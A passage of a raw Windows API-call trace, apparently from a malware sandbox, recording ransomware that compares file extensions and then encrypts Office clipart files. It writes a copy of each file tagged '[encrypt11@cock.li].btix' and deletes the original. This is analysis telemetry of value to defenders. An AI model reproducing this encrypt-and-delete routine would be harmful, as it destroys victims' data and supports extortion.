lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0052.171] lstrlenW (lpString=".doc") returned 4 [0052.171] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.171] lstrlenW (lpString=".docx") returned 5 [0052.171] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.171] lstrlenW (lpString=".pdf") returned 4 [0052.171] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.171] lstrlenW (lpString=".xls") returned 4 [0052.171] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.171] lstrlenW (lpString=".xlsx") returned 5 [0052.171] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.171] lstrlenW (lpString=".ppt") returned 4 [0052.171] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0052.171] lstrlenW (lpString=".zip") returned 4 [0052.171] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.171] lstrlenW (lpString=".rar") returned 4 [0052.171] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.171] lstrlenW (lpString=".bz2") returned 4 [0052.171] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.171] lstrlenW (lpString=".7z") returned 3 [0052.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0052.172] lstrlenW (lpString=".dbf") returned 4 [0052.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0052.172] lstrlenW (lpString=".1cd") returned 4 [0052.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0052.172] lstrlenW (lpString=".jpg") returned 4 [0052.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0052.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0052.172] lstrlenW (lpString=".doc") returned 4 [0052.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.172] lstrlenW (lpString=".docx") returned 5 [0052.172] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.172] lstrlenW (lpString=".pdf") returned 4 [0052.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.172] lstrlenW (lpString=".xls") returned 4 [0052.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.172] lstrlenW (lpString=".xlsx") returned 5 [0052.172] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.172] lstrlenW (lpString=".ppt") returned 4 [0052.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0052.172] lstrlenW (lpString=".zip") returned 4 [0052.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.172] lstrlenW (lpString=".rar") returned 4 [0052.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.173] lstrlenW (lpString=".bz2") returned 4 [0052.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.173] lstrlenW (lpString=".7z") returned 3 [0052.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0052.173] lstrlenW (lpString=".dbf") returned 4 [0052.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0052.173] lstrlenW (lpString=".1cd") returned 4 [0052.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0052.173] lstrlenW (lpString=".jpg") returned 4 [0052.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.173] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.173] lstrlenW (lpString="AN02559_.WMF") returned 12 [0052.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.174] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=6632) returned 1 [0052.174] CloseHandle (hObject=0x31c) returned 1 [0052.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0x220 [0052.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.174] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.174] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0052.174] GetLastError () returned 0x0 [0052.174] ReadFile (in: hFile=0x31c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x19e8, lpOverlapped=0x0) returned 1 [0052.215] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x19f0, lpOverlapped=0x0) returned 1 [0052.216] ReadFile (in: hFile=0x31c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.216] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.216] SetEndOfFile (hFile=0x350) returned 1 [0052.216] CloseHandle (hObject=0x350) returned 1 [0052.217] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.217] SetEndOfFile (hFile=0x31c) returned 1 [0052.217] CloseHandle (hObject=0x31c) returned 1 [0052.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0052.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0052.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0052.218] lstrlenW (lpString=".doc") returned 4 [0052.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.218] lstrlenW (lpString=".docx") returned 5 [0052.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.218] lstrlenW (lpString=".pdf") returned 4 [0052.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.218] lstrlenW (lpString=".xls") returned 4 [0052.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.218] lstrlenW (lpString=".xlsx") returned 5 [0052.218] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.218] lstrlenW (lpString=".ppt") returned 4 [0052.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0052.218] lstrlenW (lpString=".zip") returned 4 [0052.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.219] lstrlenW (lpString=".rar") returned 4 [0052.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.219] lstrlenW (lpString=".bz2") returned 4 [0052.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.219] lstrlenW (lpString=".7z") returned 3 [0052.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0052.219] lstrlenW (lpString=".dbf") returned 4 [0052.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0052.219] lstrlenW (lpString=".1cd") returned 4 [0052.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0052.219] lstrlenW (lpString=".jpg") returned 4 [0052.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0052.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0052.219] lstrlenW (lpString=".doc") returned 4 [0052.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.219] lstrlenW (lpString=".docx") returned 5 [0052.219] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.219] lstrlenW (lpString=".pdf") returned 4 [0052.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.219] lstrlenW (lpString=".xls") returned 4 [0052.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.219] lstrlenW (lpString=".xlsx") returned 5 [0052.219] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.219] lstrlenW (lpString=".ppt") returned 4 [0052.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0052.219] lstrlenW (lpString=".zip") returned 4 [0052.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.219] lstrlenW (lpString=".rar") returned 4 [0052.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.219] lstrlenW (lpString=".bz2") returned 4 [0052.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.220] lstrlenW (lpString=".7z") returned 3 [0052.220] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0052.220] lstrlenW (lpString=".dbf") returned 4 [0052.220] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0052.220] lstrlenW (lpString=".1cd") returned 4 [0052.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0052.220] lstrlenW (lpString=".jpg") returned 4 [0052.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.220] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.220] lstrlenW (lpString="AN04108_.WMF") returned 12 [0052.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0052.347] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=2344) returned 1 [0052.347] CloseHandle (hObject=0x324) returned 1 [0052.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0x220 [0052.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0052.348] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.348] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0052.348] GetLastError () returned 0x0 [0052.348] ReadFile (in: hFile=0x324, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x928, lpOverlapped=0x0) returned 1 [0052.349] WriteFile (in: hFile=0x358, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x930, lpOverlapped=0x0) returned 1 [0052.350] ReadFile (in: hFile=0x324, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.350] WriteFile (in: hFile=0x358, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.350] SetEndOfFile (hFile=0x358) returned 1 [0052.350] CloseHandle (hObject=0x358) returned 1 [0052.351] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.351] SetEndOfFile (hFile=0x324) returned 1 [0052.352] CloseHandle (hObject=0x324) returned 1 [0052.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0052.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0052.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0052.352] lstrlenW (lpString=".doc") returned 4 [0052.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.352] lstrlenW (lpString=".docx") returned 5 [0052.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.352] lstrlenW (lpString=".pdf") returned 4 [0052.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.352] lstrlenW (lpString=".xls") returned 4 [0052.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.353] lstrlenW (lpString=".xlsx") returned 5 [0052.353] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.353] lstrlenW (lpString=".ppt") returned 4 [0052.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0052.353] lstrlenW (lpString=".zip") returned 4 [0052.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.353] lstrlenW (lpString=".rar") returned 4 [0052.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.353] lstrlenW (lpString=".bz2") returned 4 [0052.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.353] lstrlenW (lpString=".7z") returned 3 [0052.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0052.353] lstrlenW (lpString=".dbf") returned 4 [0052.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0052.353] lstrlenW (lpString=".1cd") returned 4 [0052.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0052.353] lstrlenW (lpString=".jpg") returned 4 [0052.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0052.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0052.353] lstrlenW (lpString=".doc") returned 4 [0052.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.353] lstrlenW (lpString=".docx") returned 5 [0052.353] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.354] lstrlenW (lpString=".pdf") returned 4 [0052.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.354] lstrlenW (lpString=".xls") returned 4 [0052.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.354] lstrlenW (lpString=".xlsx") returned 5 [0052.354] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.354] lstrlenW (lpString=".ppt") returned 4 [0052.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0052.354] lstrlenW (lpString=".zip") returned 4 [0052.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.354] lstrlenW (lpString=".rar") returned 4 [0052.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.354] lstrlenW (lpString=".bz2") returned 4 [0052.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.354] lstrlenW (lpString=".7z") returned 3 [0052.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0052.354] lstrlenW (lpString=".dbf") returned 4 [0052.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0052.354] lstrlenW (lpString=".1cd") returned 4 [0052.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0052.354] lstrlenW (lpString=".jpg") returned 4 [0052.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.354] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.354] lstrlenW (lpString="AN04225_.WMF") returned 12 [0052.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0052.355] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=8492) returned 1 [0052.355] CloseHandle (hObject=0x324) returned 1 [0052.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 0x220 [0052.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0052.355] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.355] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0052.356] GetLastError () returned 0x0 [0052.356] ReadFile (in: hFile=0x324, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x212c, lpOverlapped=0x0) returned 1 [0052.371] WriteFile (in: hFile=0x358, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x2130, lpOverlapped=0x0) returned 1 [0052.372] ReadFile (in: hFile=0x324, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.372] WriteFile (in: hFile=0x358, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.372] SetEndOfFile (hFile=0x358) returned 1 [0052.456] CloseHandle (hObject=0x358) returned 1 [0052.459] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.459] SetEndOfFile (hFile=0x324) returned 1 [0052.461] CloseHandle (hObject=0x324) returned 1 [0052.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0052.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0052.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0052.463] lstrlenW (lpString=".doc") returned 4 [0052.463] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.463] lstrlenW (lpString=".docx") returned 5 [0052.463] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.463] lstrlenW (lpString=".pdf") returned 4 [0052.463] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.463] lstrlenW (lpString=".xls") returned 4 [0052.463] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.463] lstrlenW 